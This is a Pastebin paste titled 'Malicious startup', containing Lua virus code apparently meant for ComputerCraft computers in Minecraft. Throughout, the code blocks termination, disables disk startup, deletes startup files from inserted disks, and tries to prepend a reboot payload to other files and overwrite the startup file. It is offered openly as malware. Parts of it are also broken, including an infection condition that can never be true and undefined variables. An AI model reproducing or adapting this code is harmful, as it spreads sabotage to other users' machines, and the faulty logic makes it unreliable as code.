Advertisement
Pit_Anonim

Malicious startup

Oct 22nd, 2016
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.45 KB | None | 0 0
  1. --BY PIT_ANONIM
  2.  
  3. local viruscode = [[
  4. print("First number:")
  5. a = read()
  6. print("Second number:")
  7. b = read()
  8. print("Sign:")
  9. c = read()
  10. if c == "+" then
  11.     result = a + b
  12. elseif c == "-" then
  13.     result = a - b
  14. elseif c == "*" then
  15.     result = a * b
  16. elseif c == "/" then
  17.     result = a / b
  18. end
  19. print(result)
  20. os.reboot()
  21. ]]
  22.  
  23. local firststring = 'print("First number:")'
  24.  
  25. os.pullEvent = os.pullEventRaw
  26. local eventone = os.pullEvent()
  27.  
  28. settings.set("shell.allow_disk_startup", false)
  29. settings.save(".settings")
  30.  
  31. function eee()
  32.     while true do
  33.         while side ~= 1 do
  34.             sleep(0)
  35.             if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
  36.                 side = 1
  37.             else
  38.                 side = nil
  39.             end
  40.         end
  41.        
  42.         if side == 1 then
  43.             if fs.exists("disk/startup") then
  44.                 fs.delete("disk/startup")
  45.             end
  46.         end
  47.         sleep(0)
  48.     end
  49. end
  50.  
  51. function ddd()
  52.  
  53. dir = ""
  54. local FileList = fs.list(dir)
  55.     while true do
  56.         for _,file in ipairs (FileList) do
  57.             if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
  58.                 if file ~= virusname then
  59.                     local nonvirusfile = fs.open(dir ..file, "r")
  60.                     local pr = nonvirusfile.readLine()
  61.                     local text = nonvirusfile.readAll()
  62.                     nonvirusfile.close()
  63.                              
  64.                     if pr ~= firststring and file ~= "startup" then
  65.                         local virusfile = fs.open(dir ..file, "w")
  66.                         virusfile.writeLine(viruscode)
  67.                         virusfile.writeLine(text)
  68.                         virusfile.close()
  69.                     end
  70.                        
  71.                 elseif file == "startup" then
  72.                     local nonvirusfile = fs.open(dir ..file, "r")
  73.                     local text = nonvirusfile.readAll()
  74.                     nonvirusfile.close()
  75.                        
  76.                     local virusfile = fs.open("startup", "w")
  77.                     virusfile.writeLine(startupcode)
  78.                     virusfile.close()
  79.                 end
  80.             end
  81.         end
  82.         sleep(0)
  83.     end
  84. end
  85.  
  86. function lol()
  87.     while true do
  88.         term.setTextColor(colors.yellow)
  89.         write("> ")
  90.         term.setTextColor(colors.white)
  91.         a = read()
  92.         shell.run(a)
  93.     end
  94. end
  95.  
  96. parallel.waitForAll(lol, eee, ddd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement